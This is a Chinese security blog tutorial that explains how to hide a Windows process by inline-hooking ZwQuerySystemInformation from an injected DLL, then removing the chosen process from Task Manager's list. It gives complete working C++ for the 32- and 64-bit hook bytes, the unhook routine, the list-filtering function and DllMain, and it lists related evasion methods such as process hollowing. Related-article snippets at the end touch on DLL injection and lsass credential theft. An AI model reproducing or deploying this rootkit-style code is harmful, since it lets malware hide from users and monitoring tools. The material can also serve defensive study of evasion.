干货 | 通过HOOK底层API实现进程隐藏

VSole2021-07-17 10:40:07

前言

一次跟师傅交流时师傅谈到有些EDR或AV,他们保护目标主机,甚至无进程,不经想到病毒实际上也常用这种技术。当然,做到隐藏,一个简单的dll注入或者劫持就可以,但本文主要讲解关于进程的隐藏。

PE文件隐藏可以通过

•进程伪装: 将进程名替换成其他正常进程的名称(修改PEB路径和命令行信息)•傀儡进程: 通过将主进程挂起,替换内存数据,卸载镜像,修改上下文,并执行真正我们想要执行的进程,这也是一些壳的原理

•HOOK: 通过HOOK三环最底层APIZwQuerySystemInformation实现隐藏,这是本文的重点•COM劫持、DLL劫持、DLL注入......

实现原理

在正向开发中,要想做到进程遍历,往往需要使用EnumProcess或是快照CreateToolhelp32Snapshot这些函数 而这些函数的底层(ring 3),都是调用的ZwQuerySystemInformation

NTSTATUS WINAPI ZwQuerySystemInformation(
  _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,
  _Inout_   PVOID                    SystemInformation,
  _In_      ULONG                    SystemInformationLength,
  _Out_opt_ PULONG                   ReturnLength
);

如果通过hook进行对ZwQuerySystemInformation的重定向,那么就可以改变执行流,返回的信息中已经被我们篡改。32位下和64位下需要修改的字节数是不同的,使用xdbg断点找到对应的硬编码

32位下: 需要修改5个字节硬编码

0xe9 xx xx xx xx

64位下: 需要修改12个字节的硬编码

0x48 0xb8, xx xx xx xx xx xx xx xx
0xFF 0xE0

64位下该函数的名称已经改为RtlGetNativeSystemInformation。将hookZwQuerySystemInformation函数写在dll中,这样方便注入到任何进程中。

实现代码

hook函数

void hookZwQuerySystemInformation()
{
    //获取ZwQuerySystemInformation的地址
    HMODULE hntdll = LoadLibraryA("ntdll.dll");
    if (!hntdll) {
        std::cout << "[!] Load ntdll Faild..";
        return;
    }
#ifdef _WIN64
    typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(
        _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,
        _Inout_   PVOID                    SystemInformation,
        _In_      ULONG                    SystemInformationLength,
        _Out_opt_ PULONG                   ReturnLength
        );
#else
    typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(
        _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,
        _Inout_   PVOID                    SystemInformation,
        _In_      ULONG                    SystemInformationLength,
        _Out_opt_ PULONG                   ReturnLength
        );
#endif
    typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hntdll, "ZwQuerySystemInformation");
    if (!ZwQuerySystemInformation) {
        std::cout << "[!] Get ZwQuerySystemInformation Addr Faild..";
        return;
    }
#ifdef _WIN64
    BYTE pData[12] = { 0x48,0xb8,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0xFF,0xE0 };
    ULONGLONG InfoAddr = (ULONGLONG)New_ZwQuerySystemInformation;
    ::RtlCopyMemory(&pData[2], &InfoAddr, sizeof(InfoAddr));
    // 保存前 12 字节数据
    ::RtlCopyMemory(g_Oldwin64, ZwQuerySystemInformation, sizeof(pData));
#else
    BYTE pData[5] = { 0xe9,0x0,0x0,0x0,0x0 };
    //算出偏移地址
    DWORD dwOffeset = (DWORD)New_ZwQuerySystemInformation - (DWORD)ZwQuerySystemInformation - 5;
    //得到完整的pData
    RtlCopyMemory(&pData[1], &dwOffeset, sizeof(dwOffeset));
    //保存原来的硬编码
    RtlCopyMemory(g_Oldwin32, ZwQuerySystemInformation, sizeof(pData));
#endif 
    DWORD dwOldProtect = NULL;
    //修改为可写属性,不然会0xC00005访问错误
    VirtualProtect(ZwQuerySystemInformation, sizeof(pData), PAGE_EXECUTE_READWRITE, &dwOldProtect);
    //修改硬编码
    RtlCopyMemory(ZwQuerySystemInformation, pData, sizeof(pData));
    //还原保护属性
    VirtualProtect(ZwQuerySystemInformation, sizeof(pData), dwOldProtect, &dwOldProtect);
}

unhook函数

void unhookZwQuerySystemInformation()
{
    //获取ZwQuerySystemInformation的地址
    HMODULE hntdll = LoadLibraryA("ntdll.dll");
    if (!hntdll) {
        std::cout << "[!] Load ntdll Faild..";
        return;
    }
#ifdef _WIN64
    typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(
        _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,
        _Inout_   PVOID                    SystemInformation,
        _In_      ULONG                    SystemInformationLength,
        _Out_opt_ PULONG                   ReturnLength
        );
#else
    typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(
        _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,
        _Inout_   PVOID                    SystemInformation,
        _In_      ULONG                    SystemInformationLength,
        _Out_opt_ PULONG                   ReturnLength
        );
#endif
    typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hntdll, "ZwQuerySystemInformation");
    if (!ZwQuerySystemInformation) {
        std::cout << "[!] Get ZwQuerySystemInformation Addr Faild..";
        return;
    }
    DWORD dwOldProtect = NULL;
    //方便就直接改12个字节的可写属性
    VirtualProtect(ZwQuerySystemInformation, 12, PAGE_EXECUTE_READWRITE, &dwOldProtect);
    //还原原来的硬编码
#ifdef _WIN64
    RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin64, sizeof(g_Oldwin64));
#else
    RtlCopyMemory(ZwQuerySystemInformation, g_Oldwin32, sizeof(g_Oldwin32));
#endif 
    //还原属性
    VirtualProtect(ZwQuerySystemInformation, 12, dwOldProtect, &dwOldProtect);
}

自己可控的函数,即New_ZwQuerySystemInformation

NTSTATUS WINAPI New_ZwQuerySystemInformation(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength)
{
    NTSTATUS status = NULL;
    PSYSTEM_PROCESS_INFORMATION pCur = NULL, pPrev = NULL;
    DWORD dwHideProcessId = 29936;
    //先卸载钩子
    unhookZwQuerySystemInformation();
    // 获取 ntdll.dll 的加载基址, 若没有则返回
    HMODULE hntdll = LoadLibraryA("ntdll.dll");
    if (!hntdll) {
        std::cout << "[!] Load ntdll Faild..";
        return status;
    }
    // 获取 ZwQuerySystemInformation 函数地址
#ifdef _WIN64
    typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(
        _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,
        _Inout_   PVOID                    SystemInformation,
        _In_      ULONG                    SystemInformationLength,
        _Out_opt_ PULONG                   ReturnLength
        );
#else
    typedef DWORD(WINAPI* typedef_ZwQuerySystemInformation)(
        _In_      SYSTEM_INFORMATION_CLASS SystemInformationClass,
        _Inout_   PVOID                    SystemInformation,
        _In_      ULONG                    SystemInformationLength,
        _Out_opt_ PULONG                   ReturnLength
        );
#endif
    typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hntdll, "ZwQuerySystemInformation");
    if (!ZwQuerySystemInformation) {
        std::cout << "[!] Get ZwQuerySystemInformation Addr Faild..";
        return status;
    }
    //调用原来的函数,第二个参数是返回请求的信息
    status = ZwQuerySystemInformation(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
    if (NT_SUCCESS(status) && 5 == SystemInformationClass)
    {
        pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
        while (TRUE)
        {
            // 判断是否是要隐藏的进程PID,是就把该进程信息删除
            if (dwHideProcessId == (DWORD)pCur->UniqueProcessId)
            {
                if (0 == pCur->NextEntryOffset)
                {
                    pPrev->NextEntryOffset = 0;
                }
                else
                {
                    pPrev->NextEntryOffset = pPrev->NextEntryOffset + pCur->NextEntryOffset;
                }
            }
            else
            {
                pPrev = pCur;
            }
            if (0 == pCur->NextEntryOffset)
            {
                break;
            }
            pCur = (PSYSTEM_PROCESS_INFORMATION)((BYTE*)pCur + pCur->NextEntryOffset);
        }
    }
    //挂钩
    hookZwQuerySystemInformation();
    return status;
}

以上函数全部写在dll中,dllmain主函数:

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        hookZwQuerySystemInformation();
        g_hModule = hModule;
        break;
    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    case DLL_PROCESS_DETACH:
        unhookZwQuerySystemInformation();
        break;
    }
    return TRUE;
}

测试

•win10•64位dll•Injectdll(进程注入程序)•Taskmgr.exe

要注意的是dll的位数。找到任务管理器pid:

这里选择隐藏QQ程序

注入程序后

可以看到QQ进程信息已经剔除

思考

如何将所有进程钩住? 使用全局钩子,这里我认为是两个知识点,就不继续展开说了。

dwordtypedef
本作品采用《CC 协议》,转载必须注明作者和本文链接
程序是指令、数据及其组织形式的描述,进程是程序的实体。在进程中当EXE模块调用CreateFile()函数的时候,会去调用kernel32.dll模块中的CreateFile()函数,因为真正的CreateFile()函数的实现在kernel32.dll模块中。
在Windows大部分应用都是基于消息机制,他们都拥有一个消息过程函数,根据不同消息完成不同功能,windows通过钩子机制来截获和监视系统中的这些消息。一般钩子分局部钩子与全局钩子,局部钩子一般用于某个线程,而全局钩子一般通过dll文件实现相应的钩子函数。
全局钩子注入在Windows大部分应用都是基于消息机制,他们都拥有一个消息过程函数,根据不同消息完成不同功能,windows通过钩子机制来截获和监视系统中的这些消息。一般钩子分局部钩子与全局钩子,局部钩子一般用于某个线程,而全局钩子一般通过dll文件实现相应的钩子函数。
前言一次跟师傅交流时师傅谈到有些EDR或AV,他们保护目标主机,甚至无进程,不经想到病毒实际上也常用这种技术。
简介这次实验是在WIN7 X86系统上进程,使用的编译器是VS2017。所谓的DLL注入,其实就是在其他的进程中把我们编写的DLL加载进去。所以DLL注入的核心就是把要注入的DLL的路径写到目标进程中,然后在目标进程中调用LoadLibrary函数,并且指定参数为保存了DLL路径的地址。要实现DLL注入,首先就要创建一个用来注入的DLL。
最近在研究某数字杀软的时候看到有个配置选项:这个自我保护实际上是加载360SelfProtection.sys驱动(看这名字应该还有360SelfProtection_win10.sys文件),在0环通过hook等手段保护注册表项,重要进程进程等。
Dll注入
2021-11-08 14:57:41
最近太忙啦XDM,又在做一些列的分析复现工作量有点大,更新要慢一点了。一致,也不会覆盖其他的进程信息。
在win2012以前的操作系统版本下,由于WDigest将明文储存到lsass进程中,可以抓取明文密码。
DLL(Dynamic Link Library)文件为动态链接库文件,又称“应用程序拓展”,是软件文件类型。在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库,即DLL文件。
VSole
网络安全专家